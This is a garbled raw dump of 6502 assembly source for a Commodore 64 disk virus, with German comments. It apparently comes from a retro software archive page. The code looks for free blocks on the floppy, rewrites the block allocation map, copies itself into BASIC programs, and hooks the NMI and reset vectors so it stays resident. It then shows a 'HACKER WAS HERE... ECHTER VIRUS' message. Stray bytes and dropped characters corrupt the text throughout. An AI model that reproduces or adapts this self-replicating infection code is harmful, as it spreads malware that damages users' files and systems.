H.2'..SBC COUNT    ;AUSSEN.A'..JMP JUMP1
0.V'..JUMP9  ADC TRACK.L'..JUMP10 STA VT
RACK..'..BEQ JUMP16   ;SPUR.35 ODER..'..
CMP #36      ;.1 DANN WEITERSUCHEN.A' .B
CS JUMP16..'*.CMP #18      ;DIREC.RYSPUR
..'4.BEQ JUMP16..(>.JSR BSELECT  ;SUCHE 
PLATZ..(H.JSR GARFIELD.,(R.JSR STALK.8(\
.JSR BHP.Y(F.CMP #BLOCKS  ;PLATZ GEFUNDE
N.Q(P.BCS JUMP4    ;JA....(Z.JSR SUHAL.
.(..JUMP16 LDX X..(..INX          ;PRUEF
E OB WEITERE.S(..CPX #68      ;SUCHE .NV
OLL..(..BNE JUMP3    ;...JA..)..JMP .   
   ;NEIN,DANN VIRUS .E.$)..JUMP4 SBC #BL
OCKS.B)..STA .E     ;PLATZ BELEGEN.C)J.J
SR BHP      ;LESE BAM.TRACK.O)T.STA BAM.
{)..JSR BHP..)..STA BAM.1..)..JSR BHP..)
..STA BAM.2..)..JSR GARFIELD.X)..LDY #BL
OCKS  ;SUCHE .IE SEC.REN..)..LDX #$FF..)
$.JUMP5 PHP..)..INX..*8.CPX #25..*B.BEQ 
JUMP6..*L.PLP.**V.R. BAM.2.7*`.R. BAM.1.
B*J.R. BAM.A*T.BCC JUMP5    ;SEC.R BELEG
T.L*~.CPY #0.Z*..BEQ JUMP5..*..TXA      
    ;SEC.R GEFUNDEN..*..STA VSEC.1,Y..*.
.DEY..*..CLC..*..BCC JUMP5    ;WEITER SU
CHEN..*D.JUMP6 PLP..+N.LDA #"W"     ;SCH
ALTE AUF.'+X.STA DO       ;SCHREIBMODUS.
6+..LDA VTRACK.S+..JSR BSELECT  ;BAM UPD
ATE.^+..LDA .E.K+..JSR PAPA.W+..LDA BAM.
.+..JSR PAPA..+..LDA BAM.1..+(.JSR PAPA.
.+2.LDA BAM.2..+<.JSR OUTUNL..+F.LDX #4 
      ;SCHREIBE BAM AUF..+P.LDY #0      
 ;DISK..,Z.LDA #1..,D.JSR MEM.Y.4,N.LDA 
#$90     ;_______BLOCK.WRITE.U,X.JSR OUT
UNL   ;KOPIERE START..X,..JSR ASK      ;
BLOCK NACH .ZTEN..,..LDX PUFFER   ;GEFUN
DEN .IEN..,..LDY #0       ;BLOCK.., .LDA
 #2.I,..JSR MEM.Y..,..LDA TRACK    ;LESE
 BLOCK EIN..,..JSR PAPA..-H.LDA SEC.R..-
R.JSR OUTUNL. -..LDX JOB.+-..LDY #0.6-..
LDA #1.D-..JSR MEM.Y.E-..LDA #$80     ;_
______BLOCK...T-..JSR OUTUNL..-..JSR ASK
..-".LDX PUFFER..-,.LDY #0..-6.LDA #2.H-
@.JSR MEM.Y   ;SCHREIBE BLOCK AN..-J.LDA
 VTRACK   ;NEUE STELLE..-T.JSR PAPA...^.
LDA VSEC.BLOCKS.1...H.JSR OUTUNL.$.R.LDX
 JOB./.|.LDY #0.:...LDA #1.H...JSR MEM.Y
.M...LDA #$90     ;_______BLOCK.WRITE.|.
..JSR OUTUNL.....JSR ASK.....LDX #0     
  ;VIRUS AM ANFANG DES.S.B.STX COUNT    
;PROGRAMMS EINBAUEN...L.LDA #.START.4...
V.STA X../..LDA #.START.4../..STA Y../..
LDA #0. /..STA Z.0/. JUMP8 LDX Z.</. LDY
 ADR.A/. LDA #32      ;32 BYTES IN PUFFE
R.|/& JSR MEM.Y   ;SCHREIBEN../0 JUMP7 L
DY Z../: LDA (X),Y../D JSR PAPA../N INC 
Z../X LDA Z.I/B . #%11111.W/L BNE JUMP7.
./V JSR GARFIELD..0. LDA Z        ;KOMP.
TER BLOCK IN.30. BNE JUMP8    ;PUFFER GE
SCHRIEBEN...A0. LDY COUNT.P0. BNE JUMP17
.V0. LDX #2       ;K.RIGIERE STARTADR...
0. LDY ADR      ;IM ERSTEN BLOCK..0. LDA
 #2..0F JSR MEM.Y..0P LDA BASICS.M0Z JSR
 PAPA..0. LDA BASICS.1..0. JSR OUTUNL..0
. JUMP17 LDX #0..1.!LDY ADR.'1.!LDA #2  
     ;LINKBYTES.C1.!JSR MEM.Y   ;K.RIGIE
REN.R1 !LDA VTRACK._1*!JSR PAPA.M14!LDY 
COUNT.|1>!LDA VSEC,Y..1H!JSR OUTUNL..1R!
LDX PUFFER   ;BLOCK AUF DISK.H1\!LDY #0 
      ;SCHREIBEN.S1F!LDA #2..1P!JSR MEM.
Y..1Z!LDY COUNT..1.!BNE JUMP11..2.!LDA T
RACK..2.!.BYTE $2C.02.!JUMP11 LDA VTRACK
.=2.!JSR PAPA.K2.!LDY COUNT.[2.!LDA SEC.
R,Y.J2J!JSR OUTUNL.V2T!LDX JOB..2.!LDY #
0..2.!LDA #1..2.!JSR MEM.Y..2.!LDA #$90 
    ;_______BLOCK.WRITE.N2."JSR OUTUNL.Z
2."JSR ASK..2."CLC..2$"LDA X..2."ADC #25
4..38"STA X..3B"LDA Y..3L"ADC #0."3V"STA
 Y.G3`"INC COUNT    ;FALLS NOCH BLOECKE.
N3J"LDX COUNT    ;ZU SCHREIBEN, WEITER.~
3T"CPX #BLOCKS..3~"BEQ BYE      ;HIPPIE!
FERTIG SAN MA..3."JMP JUMP8.U3(#;WIRD EI
N VIRUS .IGELASSEN.....3*&BYE LDA #$60..
34&STA SEK..3>&JSR FJS..4H&LDA #$6F..4R&
STA SEK."4\&JSR S../4F&LDA #"I".>4P&JSR 
OUTUNL.K4Z&LDX #$00.K4.&JUMP14 PLA   ;SP
EICHERSTELC..4.&STA MEM,X    ;RESTAURIER
EN..4.&INX..4.&CPX #14.BLOCKS..4.&BNE JU
MP14.A4.&LDX #$00.P4.&JUMP15 PLA..4J&STA
 PAR,X..4T&INX..4.&CPX #$06..5.&BNE JUMP
15..5.&JSR CALL..5.&PLA.&5.&STA STATUS.I
5.'RTS          ;VIRUSPROGRAMM .E.E5.';.
....IECOUT.UN.........Y5.'OUTUNL JSR PAP
A..5$'JMP GARFIELD..5.*;......BSELECT...
..........K5.+BSELECT ASL ;SELEKTIERT EI
NEN..5.+ASL         ;TRACK DER BAM..5.+T
AX..5 +LDY #7..6*+LDA #4..64+JMP MEM.Y.5
6..;......STALK...............G6..STALK 
LDA DEV.V6..JSR SASKIA.{6..LDA SEK     ;
PRIMAER.&SEKUNDAER...6./JMP CHRISTINE;AD
RESSE TALK..6H2;......S................E
6R2S. LDA DEV.R6.2JSR NEMO..6.2LDA SEK  
   ;PRIMAER.&SEKUNDAER...7.2JMP THOMAS  
;ADRESSE .EN.37.6;......ASK.............
....S7.6ASK LDA #"R";UEBERPRUEFE OB.P7D6
STA DO      ;JOB AN DISK..7N6A1 LDX #0  
 ;SCH. AUSGEFUEHRT..7X6A2 NOP      ;IST.
.7.6NOP..7.6NOP..7.6NOP.G7.7INX.R7.7BNE 
A2..7.7LDX JOB..7.7LDY #0..7(7LDA #1..82
7JSR MEM.Y..8<7JSR GARFIELD.!8F7JSR STAL
K.-8P7JSR BHP.58Z7PHA.C8D7JSR SUHAL.K8N7
PLA.V8X7. #$80.Z8.7BNE A1      ;NEIN, DA
NN NOCHMAL..8.7LDA #"W"..8.7STA DO..8 7R
TS..8.:;......MEM.Y.AKKU.........N8.:MEM
.Y PHA  ;"M-"...8.:TYA         ;SPEICHER
STELLE DO...9.:PHA         ;X...9.:TXA  
       ;Y..-9J:PHA         ;A.J9T:JSR S.
   ;AN FLOPPY S.EN.W9.:LDA #"M".D9.:JSR 
PAPA.Q9.:LDA #"-".~9.:JSR PAPA..9.;LDA D
O..9.;JSR PAPA..9.;PLA..9$;JSR PAPA..9.;
PLA..98;JSR PAPA.H9B;PLA.U9L;JMP PAPA..9
.>;....IECLINK................:.>;IECBUS
.ROUTINEN UEBER LINK.$:.>;AUSFUEHREN.H:.
>BLACKBIRD JSR MAKE : JSR SETPAR.P:.>RTS
.S:.>HAC.OSH JSR MAKE : JSR SETNAME.{:.>
RTS..:.>HANS      JSR MAKE : JSR IEC...:
.>RTS.G:F>THOMAS    JSR MAKE : JSR SEK..
O:P>RTS..:Z>CHRISTINE JSR MAKE : JSR SEK
TALK..:.>RTS..;.>NEMO      JSR MAKE : JS
R ..#;.>RTS.E;.?SASKIA    JSR MAKE : JSR
 TALK.M;.?RTS.N;.?GARFIELD  JSR MAKE : J
SR UN..V; ?RTS..;*?SUHAL     JSR MAKE : 
JSR UNTALK..;4?RTS.F;>?PAPA      JSR MAK
E : JSR IECOUT.N;H?RTS..;R?BHP       JSR
 MAKE : JSR IEC...;\?RTS..<F?FJS       J
SR MAKE : JSR  ..<P?RTS.<< N;..BETRIEBS.
TEM.AUFRUF..._<*NMAKE PHP    ;PROZESS..R
EGISTER.W<4NPHA         ;RETTEN.<>NTXA.
.<HNPHA..<RNTYA..<\NPHA..<FNTSX         
;RUECKKEHR.ADRESSE.U<PNTXA         ;BERE
CHNEN..<ZNCLC..<.NADC #5..<.NTAX..=.NLDA
 $0100,X ;..=.NSTA MEM1    ;MERKEN.,=.NC
LC         ;.L=.NADC #3      ;UND K.RIGI
EREN.\=.NSTA $0100,X.}=JNPHP         ;DA
S GLEICHE MIT..=TNINX         ;DEM LO.BY
TE..=.NPLP..=.NLDA $0100,X..=.NSTA MEM2.
J=.NADC #0.Z=.OSTA $0100,X..=.OLDY #3..=
.OM1 LDA (MEM1),Y..>$OSTA LINK.1,Y;PROGR
AMMTEIL NACH.;>.ODEY         ;LINK KOPIE
REN.F>8OBNE M1.K>BOPLA         ;REGISTER
 REPARIEREN.S>LOTAY.{>VOPLA..>`OTAX..>JO
PLA..>TOPLP..>~OJMP LINK.4  ;UND AUSFUEH
REN.Q>0U;.......TEM................>:U.T
EM LDA $FFFA..?DUPHA         ;NMI.VEK.R 
RETTEN..?NULDA $FFFB   ;.*?XUPHA        
 ;.I?BULDA #..;UND AUF RTI SETZEN.[?LUST
A $FFFA   ;.G?VULDA #...U?.USTA $FFFB..?
.ULDA MEM1    ;..?.UPHA         ;..?.ULD
A MEM2    ;.N?.UPHA         ;DIVERSE SPE
ICHER...?.ULDA MEM3    ;STELC RETTEN....
.@.UPHA         ;..@FULDA MEM4    ;.%@PU
PHA         ;.F@ZUTXA         ;X.Y V.UEB
ERGEH..^@.UPHA         ;RETTEN.F@.UTYA.N
@.UPHA..@.UJSR REINST  ;ZEIGER UEBERPRUF
EN..@.UPLA         ;X.Y WIEDER HOC..@.UT
AY.B@.UPLA.J@.UTAX.Y@.VLDA IRQP.1..@.VPH
A..@.VLDA IRQP..@.VPHA..A.VLDA #.IRQE  ;
.ERRUPTS..A.VSTA IRQP    ;ENTSCHAERFEN.=
A VLDA #.IRQE.LA*VSTA IRQP.1.[A4VLDA #.N
MIE.HA>VSTA NMIP.WAHVLDA #.NMIE..ARVSTA 
NMIP.1..ASVTXA..ATVPHA         ;X.Y RETT
EN..AUVTYA         ;.NAVVPHA         ;..
A\VTSX         ;PARAMETER AUFG.D..BFVTXA
         ;DES STACKS BERECHNEN.(BPVCLC  
       ;.:BZVADC #16     ;.BB.VTAX.JB.VC
LC.IB.VLDA $0100,X ;LO.ZEIGER HOC..B.VAD
C #1      ;RUECKSP.G NEU..B.VSTA MEM1   
 ;BERECHNEN UND.BB.VSTA $0100,X ;SPEICHE
RN.TB.VPHP         ;..BJVINX         ;..
CTVPLP         ;DAS GLEICHE MIT HI..C.VL
DA $0100,X ;..C.VADC #0      ;.@C.VSTA M
EM2    ;.RC.VSTA $0100,X ;.]C.WLDY #0.NC
.WLDA (MEM1),Y.{C.WCMP #128..C$WBEQ ....
C.WCMP #64..C8WBEQ ....CBWCMP #16..CLWBE
Q .NMI.FCTW.. JSR MAKE..C~WLDA NMITAH  ;
NMI.TIMER ABFRAGE..C.WBEQ ..  ;..D.WJSR 
MAKE    ;..D.WLDA NMITBH  ;.&D.WBEQ ...@
D.WPLA         ;REGISTER.^D.WTAY        
 ;RESTAURIEREN.FD.WPLA.ND.WTAX..D.WPLA  
       ;.ERUPTS WIEDER..D.WSTA IRQP    ;
RE.GANISIERN..DDWPLA.CDNWSTA IRQP.1.RDXW
LDA #.NMI1..D.WSTA NMIP..D.WLDA #.NMI1..
D.WSTA NMIP.1..E(X.. PLA ;DIVERSE SPEICH
ER..2E2XSTA MEM4    ;STELC.NE<XPLA      
   ;REPARIEREN.[EFXSTA MEM3.CEPXPLA.PEZX
STA MEM2.XEDXPLA..ENXSTA MEM1..EXXPLA   
      ;NMIVEK.R REPARIEREN..E.XSTA $FFFB
..E.XPLA.NE.XSTA $FFFA.VE XRTS..E.Y;....
VIRUS...ROUTINE...L..F"Y..  LDY #1..F,YL
DA (BASICS),Y.7F6YBEQ ..  ;UEBERPRUEFE O
B VIRUS.YF@YLDY #31     ;SCH. IM SPEICHE
R.NFJYLDX #26     ;IST..FTYL1 LDA (BASIC
S),Y..F^YCMP VIRUS,X..FHYBNE .. ;NEIN, D
ANN VERSEUCHE..FRYDEY.EF|YDEX.PF.YBNE L1
..F.YPLA         ;.ADRESSE HOC..F.YSTA .
E.1..G.YPLA..G.YSTA .E.4G.YJSR MOVE    ;
PROGRAMM IM SPEICHER.NGBYLDA .E   ;VERSC
HIEBEN.VGLYPHA.MGVYLDA .E.1 ;.ADRESSE..G
.YPHA         ;K.RIGIEREN..G.YJMP ....G.
};....VIRUS...ROUTINE.....MG.}.. LDA DEV
 ;UEBERPRUEFE..G.}CMP #$08        ;OB DE
VICE FLOPPY..H.}BCC ..      ;IST..H(}JSR
 DOIT.6H2}JMP ..  ;PROGRAMM VERSEUCHEN.V
H..;....VIRUS.NMI.ROUTINE......HH...NMI 
JSR MAKE..H..JSR .   ;..TASTE GEDRUECKT.
.H..BNE .. ;...NEIN..H..JSR MAKE.GH..JSR
 $FD15  ;VEK.REN SETZEN..H$.JSR REINST ;
VIRUS INIT..I..LDX #$01   ;STACK "PUTZEN
"..I8.TXS..IB.JSR MAKE.9IL.JMP $FE69  ;S
.DARTNMI V.SETZEN.YIP.;..VIRUS.RESET.ROU
TINE......OIZ..RESET JSR RELINK.ZI..LDX 
#0..I..JSR MAKE..I..STX $D016   ;.GINAL.
N "RESET"..I..JSR MAKE.DI..JSR $FDA3.QI.
.LDA #$00.YI .TAY..I*..R STA $0002,Y..J4
.STA $0200,Y ;PAGE 0,2,3 LOESCHEN.!J>.ST
A $0300,Y.)JH.INY.4JR.BNE .R.CJ\.JSR REL
INK.PJF.JSR MAKE.OJP.JSR $FD5F   ;SPEICH
ER INIT.|JZ.JSR MAKE..J..JSR $FD15   ;VE
K.REN INIT..J..JSR REINST..J..JSR MAKE.Z
J..JMP $FCFB   ;RESET N.MAL WEITER..J@.;
...VIRUS LINK PROGRAMM......KJ.EXTERN NO
P : NOP : NOP.;KT.RTS         ;EXTEREN B
EFEHL AUSF..ZK^.JSR ROMRAM  ;S.DART K.FI
G..GKH.JSR LINK.OKR.SEI..K|.IROMRAM PHP 
;REGISTER RETTEN..K..PHA         ;.EK..L
DA 1       ;OS UND IO EIN.AUS.OK..E. #7.
.K..IQUIT STA 1..K..PLA..K..PLP..KB.RTS.
.LL.I.  JSR ..$LV.JSR .IT        : .BYTE
 128.,L..RTS.:L..I.  JSR ..YL..JSR .IT  
      : .BYTE  64.AL..RTS..L..IBWS1  JSR
 .IT : .BYTE  32..L..IBWS2  JMP BWS1..L.
.INMI1  JSR .IT : .BYTE  16.GL&.INMI2  J
MP NMI1.TL4.I.IT PHP..L>.PHA..LH.CHECK L
DA NMITAH..MR.. NMITBH  ;NMI.TIMER ABFRA
GEN.!M\.BEQ CHECK.)MF.SEI.3MP.LDA 1.;MZ.
PHA.FM..LDA #0.PM..STA 1.]M..JSR .TEM.JM
..I.IT PLA.WM..JMP QUIT..M..INAME .F "*"
 ; FICAME..M( IRESET LDA #$2F  : STA $00
.HM2 LDA #$00  : STA $01.WM< JMP .RESET.
.MG.;.............................NH.. R
TI  ;NMI.RUECKSP.G.3NACROMRAM . IROMRAM.
EXTERN.LINK.PNBC.IT  . I.IT .EXTERN.LINK
.MNCC.IT  . I.IT .EXTERN.LINK..NDCRESET 
 . IRESET .EXTERN.LINK..NECBWS2   . IBWS
2  .EXTERN.LINK.PNFCBWS1   . IBWS1  .EXT
ERN.LINK..NGCNMI2   . INMI2  .EXTERN.LIN
K..OHCNMI1   . INMI1  .EXTERN.LINK.-OIC.
   . I.  .EXTERN.LINK.HOJC.   . I.  .EXT
ERN.LINK.IOKCNAME   . INAME  .EXTERN.LIN
K..OLCQUIT   . IQUIT  .EXTERN.LINK..OMCR
ESETV .BYTE .RESET,.RESET..ONC.BYTE $5E,
$FE.YOOC.BYTE $C3,$C2,$CD,$38,$30..OPC;.
.....VIRUS.MELDET.SICH...C..PQCCALL LDA 
$9D ;DIREKTMODUS.#PRCBPL C4.CPSCLDA $A2 
     ;LOW.BYTE ZEIT.NPTCBPL C4.[PUCJSR M
AKE.YPVCLDA $D012    ;RASTERZEILE..PWCBP
L C4..PNCLDY #$00..PXCC3 LDA TEXT,Y..P.C
BEQ C1..P.CJSR MAKE..P.CJSR CHAROUT  ;ZE
ICHENAUSGABE..P.CLDX #0..P.CC2 JSR MAKE.
.Q.CINC $D020    ;RAHMENFARBE..Q.CINX.(Q
HCBNE C2.0QRCINY.;Q.CJMP C3.NQ.CC1 LDX C
OUNTER.`Q.CLDA COUNTER.1.MQ.CJSR MAKE..Q
.CJSR $BDCD    ;NUMMER AUSGEBEN..Q.CLDA 
#13      ;CR..Q.DJSR MAKE.LQ.DJSR CHAROU
T  ;AUSGEBEN..Q.DC4 INC COUNTER..Q.DBNE 
C6..Q.DINC COUNTER.1..R.DC6 RTS..R.DTEXT
 .BYTE 13.PR.D.F "DR.DR.STROBE&PAPA HACK
ER WAS HERE!" : .BYTE 13.{R"D.F "COPROGR
AMMER: GARFIELD" : .BYTE 13..R'D.BYTE 13
.BR(D.F "HALLO DICKERCHEN, DIES IST EIN 
ECHTER" : .BYTE 13..R)D.F "VIRUS!" : .BY
TE 13,13..R,D.F "SERIALNO.:" : .BYTE 0..
S6DCOUNTER .W.D 0.4S.... 254.BLOCKS.STAR
T.2 : .. ..2.DS...BYTE $0,$0...
C64 Preview

> CLICK IMAGE PREVIEW FOR FULL MODAL